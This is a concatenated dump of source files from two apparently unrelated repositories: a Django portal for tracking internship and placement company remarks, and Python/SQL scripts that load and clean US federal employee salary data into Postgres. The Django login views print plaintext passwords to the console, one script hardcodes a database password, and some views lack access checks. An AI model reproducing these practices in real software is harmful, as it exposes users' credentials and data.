getPlacement\")\n list = company.objects.filter(placement=True)\n if request.POST:\n print(\"CHECK1\")\n print('post', request.POST)\n if request.user.is_authenticated:\n return getmainpage(request)\n username = request.POST.get('Username')\n password = request.POST.get('Password')\n print('{} {}'.format(username, password))\n user = authenticate(username=username, password=password)\n if user and user.first_name==\"PLACEMENT\":\n print(\"CHECK2\")\n if user.is_active:\n print(\"CHECK3\")\n login(request, user)\n return HttpResponseRedirect(reverse('main_page'))\n else:\n print(\"CHECK4\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK5\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK6\")\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n\n\ndef getIntern(request):\n list = company.objects.filter(placement=False)\n if request.POST:\n print(\"CHECK1\")\n print('post', request.POST)\n if request.user.is_authenticated:\n return getmainpage(request)\n username = request.POST.get('Username')\n password = request.POST.get('Password')\n print('{} {}'.format(username, password))\n user = authenticate(username=username, password=password)\n if user and user.first_name==\"INTERN\":\n print(\"CHECK2\")\n if user.is_active:\n print(\"CHECK3\")\n login(request, user)\n return HttpResponseRedirect(reverse('main_page'))\n else:\n print(\"CHECK4\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK5\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK6\")\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n\ndef placement_edit(request,cpk):\n c = company.objects.get(pk=cpk)\n final1 = []\n final1.append(c)\n return render(request, 'diary/edit_company.html', {'company': final1})\n\ndef getmainpage(request):\n if request.user.is_authenticated:\n print(\"Authenticated\")\n print('{} {}',request.user.username)\n if request.user.first_name==\"INTERN\":\n return render(request, 'diary/intern_base.html')\n if request.user.first_name==\"PLACEMENT\":\n return render(request, 'diary/placement_base.html')\n else:\n print(\"Not Authenticated\")\n return render(request,'diary/placement_or_intern.html')\n\n\ndef getremarks(request,pk):\n c = company.objects.get(pk=pk)\n remark = remarks.objects.filter(company=c).order_by('datetime').reverse()\n return render(request,'diary/company_remarks.html',{'remark':remark})\n\n\ndef save_changes_view(request,pk):\n c = company.objects.get(pk=pk)\n if request.method=='POST':\n form = forms.save_changes(request.POST)\n if form.is_valid():\n poc = form.cleaned_data['POC']\n cpoc = form.cleaned_data['CPOC']\n remark = form.cleaned_data['Remark']\n c.CPOC = cpoc\n c.POC = poc\n c.TopRemark = remark\n c.save()\n print(poc+\" \"+cpoc+\" \"+remark)\n remarks(company=c,remark=remark,CPOC=cpoc).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.save_changes()\n return render(request,'diary/edit_company.html',{'form':form,'c':c})\n\n\ndef add_placement_company(request):\n if request.method=='POST':\n form = forms.add_company(request.POST)\n if form.is_valid():\n c = company()\n c.CompanyName = form.cleaned_data['CompanyName']\n c.POC = form.cleaned_data['POC']\n c.CPOC = form.cleaned_data['CPOC']\n c.placement = True\n c.TopRemark = form.cleaned_data['Remark']\n c.save()\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.add_company()\n return render(request,'diary/add_company.html',{'form':form})\n\ndef add_intern_company(request):\n if request.method=='POST':\n form = forms.add_company(request.POST)\n if form.is_valid():\n c = company()\n c.CompanyName = form.cleaned_data['CompanyName']\n c.POC = form.cleaned_data['POC']\n c.CPOC = form.cleaned_data['CPOC']\n c.placement = False\n c.TopRemark = form.cleaned_data['Remark']\n c.save()\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.add_company()\n return render(request,'diary/add_company.html',{'form':form})\n\ndef searchPlacement(request):\n print('I m Here')\n if request.method == 'POST':\n print(\"success\")\n search_text = request.POST['search_text1']\n all_company =(company.objects.filter(CompanyName__contains=search_text)|company.objects.filter(POC__contains=search_text))\n temp = all_company\n for c in all_company:\n if c.placement == False:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\n else:\n print(\"fail\")\n search_text = ''\n all_company = company.objects.all()\n temp = all_company\n for c in all_company:\n if c.placement == False:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\n\n\ndef searchIntern(request):\n print('I m Here')\n if request.method == 'POST':\n print(\"success\")\n search_text = request.POST['search_text2']\n all_company = (company.objects.filter(CompanyName__contains=search_text) | company.objects.filter(POC__contains=search_text))\n temp = all_company\n for c in all_company:\n if c.placement == True:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\n else:\n print(\"fail\")\n search_text = ''\n all_company = company.objects.all()\n temp = all_company\n for c in all_company:\n if c.placement == True:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\n\n\n\ndef change_password(request):\n\tif request.user.is_authenticated:\n\t if request.method == 'POST':\n\t form = PasswordChangeForm(request.user, request.POST)\n\t if form.is_valid():\n\t user = form.save()\n\t messages.success(request, 'Your password was successfully updated!')\n\t return HttpResponseRedirect(reverse('main_page'))\n\t else:\n\t messages.error(request, 'Please correct the error below.')\n\t else:\n\t form = PasswordChangeForm(request.user)\n\t return render(request, 'diary/edit_ID.html', {\n\t 'form': form\n\t })\n\treturn HttpResponseRedirect(reverse('main_page'))" }, { "alpha_fraction": 0.5491183996200562, "alphanum_fraction": 0.5969773530960083, "avg_line_length": 21.05555534362793, "blob_id": "c2d21fb0054b6b488a79e9ceec279bf9af546b6d", "content_id": "e22232ceeca2903ef65a7aec9f1ec2f23257567a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 397, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/Diary_Portal/diary/migrations/0007_remarks_datetime.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-02 09:25\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0006_remove_remarks_companyname'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='datetime',\n field=models.DateTimeField(auto_now=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6822066903114319, "alphanum_fraction": 0.7264957427978516, "avg_line_length": 54.91304397583008, "blob_id": "87bf198d20598f675d90c63afebd0df3e01ea334", "content_id": "a94cdd99fcd815ec9ed09728bc11f324362a5a95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1287, "license_type": "no_license", "max_line_length": 102, "num_lines": 23, "path": "/Diary_Portal/diary/forms.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "from django import forms\n\nclass save_changes(forms.Form):\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\n\nclass add_company(forms.Form):\n CompanyName = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\n\nclass authentication(forms.Form):\n Username = forms.CharField(max_length=100)\n Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n\nclass change_username_password(forms.Form):\n Current_Username = forms.CharField(max_length=100)\n Current_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n New_Username = forms.CharField(max_length=100)\n New_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n Confirm_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n\n" }, { "alpha_fraction": 0.5280373692512512, "alphanum_fraction": 0.5794392228126526, "avg_line_length": 21.526315689086914, "blob_id": "074ab92c54b8764e2275c2949b05c1ef3eb44032", "content_id": "df95a71928d3dc81ff40ac65858a161c4bef36bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 428, "license_type": "no_license", "max_line_length": 63, "num_lines": 19, "path": "/Diary_Portal/diary/migrations/0013_remarks_poc.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-21 15:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0012_company_topremark'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='POC',\n field=models.CharField(default='', max_length=100),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.5382775068283081, "alphanum_fraction": 0.5837320685386658, "avg_line_length": 21, "blob_id": "8d0b04c83982531b1283b53e66dee998bb45de21", "content_id": "bfd81d480be2fade74aa028ce4845ce4da0df61f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 418, "license_type": "no_license", "max_line_length": 52, "num_lines": 19, "path": "/Diary_Portal/diary/migrations/0009_company_placement.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-14 16:28\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0008_remarks_cpoc'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='placement',\n field=models.BooleanField(default=True),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.5811966061592102, "alphanum_fraction": 0.6239316463470459, "avg_line_length": 23.63157844543457, "blob_id": "5397bd02ee93e5cccd84f42e9eba20eef517cd9f", "content_id": "bebe2cca8fb8120a5b4a096c48585ac783e245aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 112, "num_lines": 19, "path": "/Diary_Portal/diary/migrations/0004_remarks_company.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-02 05:35\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0003_remarks'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='company',\n field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='diary.company'),\n ),\n ]\n" }, { "alpha_fraction": 0.6686217188835144, "alphanum_fraction": 0.6686217188835144, "avg_line_length": 52.894737243652344, "blob_id": "0e425cbe2cbb53bd1055cbb510c9adcd6c74c1f1", "content_id": "8a54f02876bf5a06e9358f0644867985e4aca10a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1023, "license_type": "no_license", "max_line_length": 95, "num_lines": 19, "path": "/Diary_Portal/diary/urls.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "from django.conf.urls import url,include\nfrom . import views\nurlpatterns = [\n\n url(r'^$',views.getmainpage,name='main_page'),\n url(r'^placement/remarks/(?P<pk>\\d+)/$', views.getremarks, name='premarks'),\n url(r'^intern/remarks/(?P<pk>\\d+)/$', views.getremarks, name='iremarks'),\n url(r'placement/$', views.getPlacement,name='placement'),\n url(r'intern/$', views.getIntern, name='intern'),\n url(r'^intern/(?P<pk>\\d+)/$', views.save_changes_view, name='intern_company_edit'),\n url(r'^placement/(?P<pk>\\d+)/$', views.save_changes_view, name='placement_company_edit'),\n url(r'placement_add_company/$', views.add_placement_company, name='placement_add_company'),\n url(r'intern_add_company/$', views.add_intern_company, name='intern_add_company'),\n \turl(r'placement/search/$', views.searchPlacement, name='search'),\n url(r'intern/search/$', views.searchIntern, name='search'),\n url(r'logout/$', views.session_logout, name='logout'),\n url(r'edit_ID/$', views.change_password, name='edit_ID')\n\n]" }, { "alpha_fraction": 0.5199999809265137, "alphanum_fraction": 0.5784615278244019, "avg_line_length": 18.117647171020508, "blob_id": "12dfeef41587a181d879a0aa62586ff9b6a4ed4c", "content_id": "8952b2abb0773dc244565f2d4686e7b460a31a5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "no_license", "max_line_length": 47, "num_lines": 17, "path": "/Diary_Portal/diary/migrations/0005_remove_company_remarks.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-02 06:02\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0004_remarks_company'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='company',\n name='Remarks',\n ),\n ]\n" }, { "alpha_fraction": 0.7384843826293945, "alphanum_fraction": 0.7429420351982117, "avg_line_length": 22.20689582824707, "blob_id": "e630311024bcd1d6b698e6cb3b443735ca95fafe", "content_id": "874d30595393d91f99ad1be1d47424cffdd13ec5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 673, "license_type": "no_license", "max_line_length": 121, "num_lines": 29, "path": "/README.md", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Intern-and-Placement-CCD-Portal\n\n## About The Project\n>This is CCD's Diary Portal used during Internships as well as Placements. \n<li>Developed CCD portal's diary component to automate the remark system.</li>\n<li>Implemented proffering, searching, addition as well as removal of companies, their remarks and respective POC's.</li>\n<li>Different Pages for Intern and Placements related things</li>\n\n## Built With\n### Backend\n<li>Django - Python</li>\n\n### Frontend\n<li>HTML</li>\n<li>CSS</li>\n\n## Prerequisites\n1. Python\n2. Basic HTML,CSS \n3. Django Framework\n\n## Usage\n```\nClone this git repo.\nJust run a django server.\n\n```\n\nFurther Contributions/Suggestions are welcome.\n" }, { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.5785714387893677, "avg_line_length": 21.105262756347656, "blob_id": "131b8673b2a7251bb33cb827793ee898d1af3405", "content_id": "def1310558f0799f8596ecc07480b74e574aa8a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 420, "license_type": "no_license", "max_line_length": 51, "num_lines": 19, "path": "/Diary_Portal/diary/migrations/0012_company_topremark.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-15 09:06\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0011_delete_row_base'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='TopRemark',\n field=models.TextField(default='NULL'),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.7881944179534912, "alphanum_fraction": 0.7881944179534912, "avg_line_length": 23.08333396911621, "blob_id": "d640a7b99c1322ba1dcca8a97c9541c02569aded", "content_id": "81b4f515e341da56f405a848013d320b32282f33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "no_license", "max_line_length": 41, "num_lines": 12, "path": "/Diary_Portal/diary/admin.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import company,remarks\n# Register your models here.\n\n\nclass remarksInline(admin.StackedInline):\n model = remarks\n\nclass courseadmin(admin.ModelAdmin):\n inlines = [remarksInline,]\nadmin.site.register(company)\nadmin.site.register(remarks)" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5598591566085815, "avg_line_length": 26.047618865966797, "blob_id": "9f069d05b9850b464b3d5dae61449144633b5cc0", "content_id": "a347d8a637b121eb962e833986a354510de9d79b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 568, "license_type": "no_license", "max_line_length": 114, "num_lines": 21, "path": "/Diary_Portal/diary/migrations/0003_remarks.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-01 13:07\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0002_auto_20200201_0704'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='remarks',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('CompanyName', models.CharField(max_length=100)),\n ('remark', models.TextField()),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6700251698493958, "alphanum_fraction": 0.6901763081550598, "avg_line_length": 36.71428680419922, "blob_id": "fcbedb120f6cf20132c1144dc2cd7f32824b93b2", "content_id": "af79522eacb9854de5cdcdf51716046d9d57f92b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 794, "license_type": "no_license", "max_line_length": 75, "num_lines": 21, "path": "/Diary_Portal/diary/models.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom datetime import datetime\n# Create your models here.\nclass company(models.Model):\n CompanyName = models.CharField(max_length=100)\n POC = models.CharField(max_length=100)\n CPOC = models.CharField(max_length=100)\n order = models.AutoField(primary_key=True)\n TopRemark = models.TextField()\n placement = models.BooleanField()\n def __str__(self):\n return self.CompanyName\n\nclass remarks(models.Model):\n company = models.ForeignKey(company,on_delete=models.CASCADE,default=0)\n remark = models.TextField()\n datetime = models.DateTimeField(auto_now=True)\n CPOC = models.CharField(max_length=100)\n POC = models.CharField(max_length=100)\n def __str__(self):\n return self.company.CompanyName\n\n\n" }, { "alpha_fraction": 0.5122807025909424, "alphanum_fraction": 0.5789473652839661, "avg_line_length": 16.8125, "blob_id": "d7e1ae370cd3aa4d166d99482d43b9195a4998f5", "content_id": "932c6423d95858f3eed07b6e48de6ed24d51cf23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 285, "license_type": "no_license", "max_line_length": 47, "num_lines": 16, "path": "/Diary_Portal/diary/migrations/0011_delete_row_base.py", "repo_name": "Naman027/Intern-Placement-CCD-Portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.2 on 2020-02-15 09:02\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0010_row_base'),\n ]\n\n operations = [\n migrations.DeleteModel(\n name='row_base',\n ),\n ]\n" } ]
14
wolfenelson/sqltest
https://github.com/wolfenelson/sqltest
83a95d833b03531c836b251318880ab6ca028f58
ba373d1a0a86850c1602aae90e9f278735e5cb59
576eb16b6609e11365f95c32231ee51f545d9dfd
refs/heads/master
2020-07-07T19:34:52.828234
2019-08-21T17:42:10
2019-08-21T17:42:10
203,456,044
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6937562227249146, "alphanum_fraction": 0.7145688533782959, "avg_line_length": 58.35293960571289, "blob_id": "8d7f26f26d8b39dea4d8c785f25d2629bcd06fbe", "content_id": "81035037c7b4bb36b6d5ea8fc084cf470856e4c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1009, "license_type": "no_license", "max_line_length": 177, "num_lines": 17, "path": "/data_to_postgres.py", "repo_name": "wolfenelson/sqltest", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\ntext = open('data_full.txt', 'r') #trying as a txt to clean more easily\ntext_data = text.read()\ntext_clean = text_data.strip('{\"sEcho\":1,\"iTotalRecords\":\"6960815\",\"iTotalDisplayRecords\":\"1415931\",\"aaData\":') #this sequence is what gives us the problem, so removing it first\ntext_rows = text_clean.split('],') #turn into a list by entry\n\ndf = pd.DataFrame(text_rows) #turn into a dataframe\ndf_full = df[0].str.split('\",', expand = True) #split it on \", because there are commas in some of the desired columns (e.g. salary, occupation)\ndf_full.columns = ['name', 'grade', 'pay_type', 'salary', 'bonus', 'department', 'city', 'job', 'year'] #have the dataframe\ndf_full.replace(to_replace='\"', value='', inplace = True, regex=True)\n\n##pushing to postgres\nengine = create_engine('postgresql+psycopg2://postgres:Oksurefine1955@localhost/trialrun')\ndf_full.to_sql('govt_data', con=engine, schema='test', if_exists='replace',index=False)\n" }, { "alpha_fraction": 0.7129367589950562, "alphanum_fraction": 0.7202004790306091, "avg_line_length": 27.98105239868164, "blob_id": "019653193f6f10aa5252a1a549e4d9f082298f8a", "content_id": "90e85ebf33392ab83dbfc7b162de8f1697efda00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 13767, "license_type": "no_license", "max_line_length": 146, "num_lines": 475, "path": "/sql_test.sql", "repo_name": "wolfenelson/sqltest", "src_encoding": "UTF-8", "text": "create schema if not exists test;\n\n\"table was already imported through python, running a test to make sure it's all there\"\n\nselect *\nfrom govt_data\norder by name\nlimit 2000;\n\n\"PART I: Making a table of data according to General Schedule Pay Areas (MSAs)\"\n\n\"Cleaning the data, e.g. removing $ from salary etc. There was a specific problem with NYC,\nand it's less memory intensive to just use updates rather than case/when.\"\n\ndrop table if exists govt_data_clean;\ncreate table govt_data_clean as (SELECT\n replace(name, '[', '') observed_name,\n trim(grade) observed_grade,\n trim(pay_type) observed_schedule,\n replace(salary, '$', '') observed_salary,\n replace(bonus, '$', '') observed_bonus,\n trim(department) observed_department,\n trim(city) observed_city,\n trim(job) observed_job,\n trim(year) year\nFROM govt_data\n);\n\nupdate govt_data_clean\n set observed_salary = replace(observed_salary, ',', '')\nupdate govt_data_clean\nset observed_city = 'NEW YORK' where observed_city = 'NEW YORK - NEW YORK';\nupdate govt_data_clean\nset observed_city = 'QUEENS' where observed_city = 'NEW YORK - QUEENS';\nupdate govt_data_clean\nset observed_city = 'BRONX' where observed_city = 'NEW YORK - BRONX';\nupdate govt_data_clean\nset observed_city = 'MANHATTAN' where observed_city = 'NEW YORK - MANHATTAN';\nupdate govt_data_clean\nset observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - BROOKLYN';\nupdate govt_data_clean\nset observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - KINGS';\n\nalter table govt_data_clean\nalter column observed_salary type numeric using observed_salary::numeric,\n alter column observed_bonus type numeric using observed_bonus::numeric;\n\n\"Checking how much bonuses will matter. Turns out, not a single employee received one, so dropping column.\"\n\nselect count(*)\nfrom govt_data_clean\nwhere observed_bonus != 0.00;\n\nalter table govt_data_clean\ndrop column observed_bonus;\n\n\"Lots of names and salary info is redacted. Pulling ones without location out (according to query, it's 269,768),\nand checking to make sure it didn't delete without reason (1,146,163 remaining).\"\n\nselect count(*)\nfrom govt_data_clean\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\n\nselect count(*)\n from govt_data_clean;\n\ndelete from govt_data_clean\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\n\n\"Now making one table for GS employees and one for non-GS employees, dropping useless rows\"\n\ndrop table if exists gs_employees\ncreate table gs_employees as (select *\nfrom govt_data_clean\nwhere observed_schedule = 'GS'\n);\n\ndelete from gs_employees\n where observed_grade = '*';\n\nselect count(*)\n from gs_employees\nwhere observed_grade not in (1, 2, 3, 4, 5, 6, 7, 8,9, 10, 11, 12, 13, 14, 15);\n\nalter table gs_employees\n alter column observed_grade type numeric using observed_grade::numeric;\n\ndrop table if exists non_gs_employees\ncreate table non_gs_employees as (\n select *\n from govt_data_clean\n where observed_schedule != 'GS'\n);\n\n\n\"now preparing a list of GS MSAs to match to reported salary and joining on salary to identify MSA's of employees\"\n\n\"the table below is all gen schedule pay recommendations across ~50 MSAs\"\n\ndrop table if exists gs_2017;\ncreate table gs_2017(\n gs_msa varchar,\n gs_grade numeric,\n gs_step numeric,\n gs_salary numeric\n);\ncopy gs_2017\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\gs_pay_2017_one_column.csv' DELIMITERS ',' CSV;\n\n\"the join below identifies GS employees whose location may be found according to the gen schedule\"\n\ndrop table if exists gs_employees_msa;\ncreate table gs_employees_msa as\n (select *\nfrom gs_employees as a\ninner join (select * from gs_2017) b on a.observed_salary = b.gs_salary and observed_grade = gs_grade\n);\n\nselect count(distinct observed_name)\n from gs_employees_msa;\n\n\n\n\n\n\"PART II: Dealing with the 'right hand' side of the join by location. First, extracting city data\"\n\ndrop table if exists cities;\nCREATE TABLE cities\n(city varchar,\nstate varchar,\ncounty varchar,\npopulation numeric\n);\ncopy cities\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\us_cities_with_pop.csv' DELIMITERS ',' CSV;\n\n\"extracting and cleaning data on govt. MSAs, A\"\n\ndrop table if exists msa_regions_us;\ncreate table msa_regions_us(\n msa_county varchar,\n msa_state varchar,\n msa varchar\n);\ncopy msa_regions_us\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\msa_regions_2017.csv' DELIMITERS ',' CSV;\nupdate msa_regions_us\n set msa_county = trim(msa_county),\n msa_state = trim(msa_state),\n msa = trim(msa);\n\n\"joining cities and msa assigning gs region 'rest of u.s.' dropping redundant columns, controlling for population with HI and AK as special cases\"\n\ndrop table if exists msa_and_cities;\ncreate table msa_and_cities as (\n select *\n from cities as a\n left join (select * from msa_regions_us) b on lower(a.county) = lower(b.msa_county) and a.state = b.msa_state\n);\nupdate msa_and_cities\n set msa = 'Rest of U.S.'\nwhere msa is null;\n\nalter table msa_and_cities\ndrop column if exists msa_county,\ndrop column if exists msa_state;\n\ndelete from msa_and_cities\n where (population is null and state not in ('HI', 'AK'))\n or (population < 2000 and state not in ('HI', 'AK'))\n or (population < 5000 and msa = 'Rest of U.S.');\n\n\n\n\n\"Part III: Putting GS together. Finally arrive at the full gs employees set by joining msa and cities list to the observed data\"\n\ndrop table if exists gs_employees_with_location\ncreate table gs_employees_with_location as\n (select *\nfrom gs_employees_msa as a\ninner join (select * from msa_and_cities) b on lower(a.observed_city) = lower(b.city) and gs_msa = msa\n);\n\nselect count(distinct observed_name)\nfrom gs_employees_with_location;\n\nselect count(distinct city)\n from gs_employees_with_location;\n\n\n\n\n\"Part IV. Cleaning and preparing for full join.\"\n\n\"Making list of redundant cities\"\n\ndrop table if exists redundancy_test\ncreate table redundancy_test as (\nSELECT\n observed_name,\n observed_salary,\n observed_grade,\n observed_schedule,\n observed_department,\n observed_job,\n city,\n string_agg(state, ' / ') AS state,\n string_agg(county, ' / ') AS county,\n string_agg(msa, ' / ') AS msa\nFROM gs_employees_with_location\ngroup by\n observed_name,\n observed_salary,\n observed_grade,\n observed_schedule,\n observed_department,\n observed_job,\n city\n);\n\ndrop table if exists problem_cities\ncreate table problem_cities as(\n select *\n from redundancy_test\n where state ilike '%/%'\n);\n\nselect count(distinct observed_name)\nfrom problem_cities;\n\nselect city, count(distinct observed_name)\n from problem_cities\ngroup by city\norder by count desc;\n\nselect *\n from problem_cities\nwhere city = 'Madison';\n\n\n\"Deleting duplicate cities\"\n\ndelete from gs_employees_with_location\n where city = 'Washington' and state = 'NJ' and observed_salary = 161900;\ndelete from gs_employees_with_location\n where city = 'Kansas City' and state = 'KS';\ndelete from gs_employees_with_location\n where city = 'Nashville' and state != 'TN';\ndelete from gs_employees_with_location\n where city = 'Syracuse' and state != 'NY';\ndelete from gs_employees_with_location\n where city = 'Lincoln' and state != 'NE';\ndelete from gs_employees_with_location\n where city = 'Johnson City' and state != 'TN';\ndelete from gs_employees_with_location\n where city = 'Lexington' and state not in ('MA', 'NY', 'KY');\ndelete from gs_employees_with_location\n where city = 'Jackson' and state in ('TN', 'MI', 'WY', 'CA', 'OH', 'MO');\ndelete from gs_employees_with_location\n where city = 'Montgomery' and state in ('PA');\ndelete from gs_employees_with_location\n where city = 'Jackson' and state in ('TN');\ndelete from gs_employees_with_location\n where city = 'Houston' and state in ('AK');\ndelete from gs_employees_with_location\n where city = 'Dallas' and state in ('OR', 'GA');\ndelete from gs_employees_with_location\n where city = 'Altoona' and state in ('WI', 'IA');\ndelete from gs_employees_with_location\n where city = 'Knoxville' and state in ('IA');\ndelete from gs_employees_with_location\n where city = 'Jacksonville' and state in ('AR', 'IL', 'TX', 'NC', 'AL');\ndelete from gs_employees_with_location\n where city = 'Augusta' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Jacksonville' and state in ('SD', 'MS', 'IN');\ndelete from gs_employees_with_location\n where city = 'Helena' and state in ('AL');\ndelete from gs_employees_with_location\n where city = 'Savannah' and state in ('TN');\ndelete from gs_employees_with_location\n where city = 'Norfolk' and state in ('NE') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Aberdeen' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Madison' and state in ('MS', 'SD');\ndelete from gs_employees_with_location\n where city = 'Madison' and state in ('IN') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\n\n\n\"Making duplicates table.\"\n\ndrop table if exists duplicates_temp\ncreate table duplicates_temp as(\n select observed_name, observed_salary, city, count(*)\n from gs_employees_with_location\n group by observed_name, observed_salary, city\n having count(*) > 